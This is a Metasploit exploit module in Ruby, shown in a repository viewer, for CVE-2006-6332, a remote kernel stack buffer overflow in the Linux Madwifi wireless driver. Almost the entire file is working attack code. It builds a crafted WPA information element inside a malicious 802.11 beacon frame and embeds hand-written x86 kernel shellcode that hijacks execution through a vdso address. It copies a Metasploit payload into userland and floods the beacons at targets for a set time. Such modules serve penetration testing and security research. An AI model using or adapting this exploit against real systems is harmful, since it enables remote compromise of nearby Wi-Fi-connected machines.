Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / linux / madwifi / madwifi_giwscan_cb.rb @ master

History | View | Annotate | Download (9 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
# Madwifi remote kernel exploit
13
# 100% reliable, doesn't crash wifi stack, can exploit
14
# same target multiple times
15
#
16
# Julien TINNES <julien at cr0.org>
17
# Laurent BUTTI <0x9090 at gmail.com>
18
#
19
# vuln in giwscan_cb, here's the path:
20
#
21
# ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb
22
#
23

    
24
require 'msf/core'
25
require 'metasm'
26

    
27
class Metasploit3 < Msf::Exploit::Remote
28
        Rank = AverageRanking
29

    
30
        include Msf::Exploit::Lorcon2
31

    
32
        def initialize(info = {})
33
                super(update_info(info,
34
                        'Name'           => 'Madwifi SIOCGIWSCAN Buffer Overflow',
35
                        'Description'    => %q{
36
                                        The Madwifi driver under Linux is vulnerable to a remote kernel-mode
37
                                stack-based buffer overflow.
38

    
39
                                The vulnerability is triggered by one of these properly crafted
40
                                information element: WPA, RSN, WME and Atheros OUI Current madwifi
41
                                driver (0.9.2) and and all madwifi-ng drivers since r1504 are
42
                                vulnerable
43

    
44
                                Madwifi 0.9.2.1 release corrects the issue.
45

    
46
                                This module has been tested against Ubuntu 6.10 and is 100% reliable,
47
                                doesn\'t crash the Wifi stack and can exploit the same machine multiple
48
                                time without the need to reboot it.
49

    
50
                                This module depends on the Lorcon2 library and only works on the Linux
51
                                platform with a supported wireless card. Please see the Ruby Lorcon2
52
                                documentation (external/ruby-lorcon/README) for more information.
53
                        },
54
                        'Author'         =>
55
                                [
56
                                        'Julien Tinnes <julien at cr0.org>',
57
                                        'Laurent Butti <0x9090 at gmail.com>'
58
                                ],
59
                        'License'        => MSF_LICENSE,
60
                        'Version'        => '$Revision$',
61
                        'References'     =>
62
                                [
63
                                        ['CVE', '2006-6332'],
64
                                        ['OSVDB', '31267'],
65
                                        ['URL', 'http://www.madwifi.org']
66
                                ],
67
                        #'Stance'         => Msf::Exploit::Stance::Passive,
68
                        'Platform'       => 'linux',
69
                        'Arch'                 => [ ARCH_X86 ],
70
                        'Payload' =>
71
                                {
72
                                        #'Space' => 65,
73
                                        # Metasploit doesn't support dynamic size payloads
74
                                        # so we will handle this in metasm instead and ask for
75
                                        # the smaller payload possible
76
                                        #'Encoder'         => Msf::Encoder::Type::Raw,
77
                                        'DisableNops' => true
78
                                },
79
                        'Targets'        =>
80
                                [
81
                                        [ 'Ubuntu 6.10',
82
                                                {
83
                                                        'JMPESP' => 0xffffe777,
84
                                                        'scan_iterate_ra' => "0x8014401"
85
                                                }
86
                                        ],
87

    
88
                                        [ 'Generic (you need non randomized vdso)',
89
                                                {
90
                                                        'JMPESP' => 0xffffe777,
91
                                                        'scan_iterate_ra' => nil
92
                                                }
93
                                        ]
94
                                ],
95
                        'DisclosureDate' => 'Dec 08 2006'
96
                ))
97

    
98
                register_options(
99
                        [
100
                                OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']),
101
                                OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']),
102
                                OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]),
103
                                OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]),
104
                                OptString.new('ADDR_DST', [ true,  "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']),
105
                        ], self.class)
106
        end
107

    
108
        def exploit
109
                open_wifi
110

    
111
                #puts "kikoo " + payload.encoded.inspect
112
                #puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',')
113

    
114
                stime = Time.now.to_i
115
                rtime = datastore['RUNTIME'].to_i
116
                count = 0
117

    
118
                print_status("Shellcode size is: #{payload.encoded.length} bytes")
119
                print_status("Creating malicious beacon frame...")
120

    
121
                frame = create_beacon()
122

    
123
                print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...")
124

    
125
                while (stime + rtime > Time.now.to_i)
126
                        wifi.write(frame)
127
                        select(nil, nil, nil, 0.10) if (count % 100 == 0)
128
                        count += 1
129
                        break if session_created? and datastore['SINGLESHOT']
130
                end
131

    
132
                print_status("Completed sending #{count} beacons.")
133
        end
134

    
135

    
136
        def create_beacon
137

    
138
                ssid     = datastore['SSID'].to_s
139
                bssid    = Rex::Text.rand_text(6)
140
                channel  = datastore['CHANNEL'].to_i
141
                len      = datastore['LENGTH'].to_i
142
                seq      = [rand(255)].pack('n')
143
                jmpesp   = target['JMPESP']  # jmp esp in vdso
144

    
145
                # address just after the call (in ieee80211_scan_iterate in wlan.ko)
146
                scan_iterate_ra=target['scan_iterate_ra']
147

    
148
                if scan_iterate_ra
149
                        howtoreturn = "RETURN_PROPERLY"   # Return to the parent of giwscan_cb parent
150
                else
151
                        howtoreturn = "RETURN_BADLY"      # Return to userland with IRET
152
                end
153

    
154
                bssiwlist = 0x0804ddd0
155

    
156
                stacksize = "STACK_8K"
157
                getregs = "CALCULATE"
158
                #getregs = "IWANTTOSCANMANUALLY"
159
                reg_cs = "0x73"
160
                reg_ss = "0x7b"
161

    
162
                wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS
163
#define #{stacksize} 1
164
#define #{getregs} 1
165
#define CS #{reg_cs}
166
#define SS #{reg_ss}
167
#define #{howtoreturn} 1
168

    
169
; chunk1
170
db 0, 0x50, 0xf2        ; wpa_oui
171
db 1                        ; wpa_typ
172
db 1, 0                        ; wpa_ver
173

    
174
back2:
175
;push 0x1C
176
;ret
177

    
178
;cld
179

    
180
#ifdef RETURN_PROPERLY
181
mov ebx, esp                ; save esp
182
#endif
183

    
184
#ifdef IWANTTOSCANMANUALLY
185
mov        eax, 4
186
checkforcs:
187
add esp, eax
188
cmp dword ptr [esp], 0x73        ; scan for cs
189
jnz checkforcs
190

    
191
cmp dword ptr [esp+12], 0x7b        ; scan for ss
192
jnz checkforcs
193

    
194
mov edi, dword ptr [esp+8]         ; put user stack address in edi
195
push edi
196

    
197
; NO SCAN, calculate the good value
198
#else
199

    
200

    
201
#ifdef STACK_8K
202
or        esp, (0x2000-1)        ; assume 8K stack
203
#else
204
or        esp, (0x1000-1)        ; assume 4K stack
205
#endif
206

    
207
sub        esp, 0x17                ; cf return_from_syscall
208
mov edi, dword ptr [esp+8]
209
push edi
210

    
211
;  IWANTTOSCANMANUALLY
212
#endif
213

    
214
; We can also go to BSS instead of stack
215
;mov edi, #{bssiwlist}
216
;push edi
217

    
218
call endsc
219

    
220
beginsc:
221
#if 0
222
call greetings
223
toto db "You're pwn3d :(\\n"
224
greetings:
225
mov eax, 4
226
mov ebx, 1
227
pop ecx
228
mov edx, (greetings - toto)
229
int 0x80
230
#endif
231

    
232
xor eax, eax
233
inc eax
234
inc eax
235
int 0x80        ; fork
236
cmp eax, 0
237
jnz doexit
238

    
239
;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm"
240

    
241
;; Metasploit's shellcode integration
242
; Old, bad method
243
;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}"
244

    
245
; this will be replaced by metasploit's payload
246
metasc:
247
; metasm will add padding here so that the next .offset is honored
248
.pad db 0x33
249
metascend:
250

    
251
doexit:
252
#if 1
253
; exit
254
xor eax, eax
255
inc eax
256
;mov ebx, 42
257
int 0x80
258
#endif
259
endsc:
260

    
261
pop esi
262
; let's copy the shellcode to userland
263
mov ecx, endsc - beginsc
264
rep movsb
265

    
266
#ifdef RETURN_PROPERLY
267
mov esp, ebx                        ; restore stack pointer
268

    
269
; If SCANFOR_SCAN_ITERATE defined
270
; scan for ieee80211_scan_iterate
271
; example address: e0b46401 (scan_iterate+0x11)
272
; It should be easier to use this if porting the exploit in a hurry
273
;#define SCANFOR_SCAN_ITERATE
274

    
275
#ifdef SCANFOR_SCAN_ITERATE
276
sub esp, 4                        ;  you can remove this in most cases
277
checkforretadd:
278
add esp, 4
279
mov ebx, dword ptr [esp+16]        ; scan for return address, we know that we have
280
                                ; four saved register before the return address
281
                                ; (+16)
282
and        ebx, 0x07FF
283
cmp        ebx, #{scan_iterate_ra} & 0x07FF
284
jnz checkforretadd
285

    
286
;mov ebp, edi                        ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it)
287
                                ; we need a writeable address
288

    
289
#endif
290
; Here we know the stack layout and esp already has the correct value
291

    
292
pop ebx                                ; Well, no need to fixup EBP, just run
293
                                ; sta_iterate epilogue, thanks Staphane Duverger,
294
                                ; how could I miss that!
295
pop esi
296
pop edi
297
pop ebp
298

    
299
; release the locks
300
push esi                        ; save esi
301
mov eax, edi                        ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan
302
                                ; just before the call to i*_scan_iterate and in sta_iterate just before
303
                                ; the ret
304
mov eax, [eax+0x978]                ; cf. i*_scan_iterate
305
mov esi, [eax+8]                ; cf. sta_iterate
306

    
307
xor eax, eax
308
inc eax
309
mov edx, eax
310
;xchg        dl, [esi]                ; already unlocked
311
xchg        al, [esi+0x8C]                ; release the lock!
312

    
313
pop esi
314

    
315
ret                                ; end of sta_iterate epilogue
316

    
317
; Else we don't return properly
318
#else
319

    
320
; we directly return from the syscall
321
iret
322

    
323
#endif
324

    
325
.offset 64*2+21
326

    
327
; chunk2
328
back1:
329
jmp.i back2
330
dd 0                        ; this MUST be zero
331

    
332
; chunk3
333
dd 0, 0, 0, 0                ; end_buf, current_ev, ieee, iwscanreq
334

    
335
; chunk4
336
db #{len-6} dup(0x33)
337
;dd 0xffffe777                ; addr of 'jmp esp' in vdso page
338
dd #{jmpesp}
339
jmp.i8 back1
340
; assert
341
.offset 198
342
;.padto 198                ; assert
343
EOS
344
                wiframe.encoded.patch("metasc", "metascend", payload.encoded)
345
                value = wiframe.encode_string
346

    
347
                #,  'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff)
348

    
349
                #puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',')
350

    
351
                if (len == 24 and value.length != 198)
352
                        raise "Value is too big! #{value.length}"
353
                end
354

    
355
                buf = "\xdd" + value.length.chr + value
356

    
357
                frame =
358
                        "\x80" +                      # type/subtype
359
                        "\x00" +                      # flags
360
                        "\x00\x00" +                  # duration
361
                        eton(datastore['ADDR_DST']) + # dst
362
                        bssid +                       # src
363
                        bssid +                       # bssid
364
                        seq   +                       # seq
365
                        Rex::Text.rand_text(8) +      # timestamp value
366
                        "\x64\x00" +                    # beacon interval
367
                        "\x01\x00" +                      # capabilities
368

    
369
                        # ssid IE
370
                        "\x00" + ssid.length.chr + ssid +
371

    
372
                        # supported rates IE
373
                        "\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" +
374

    
375
                        # channel IE
376
                        "\x03" + "\x01" + channel.chr +
377

    
378
                        # invalid wpa IE buffer overflow
379
                        # wpa ie is an example, still valid for other IEs
380
                        buf
381

    
382
                return frame
383
        end
384

    
385
end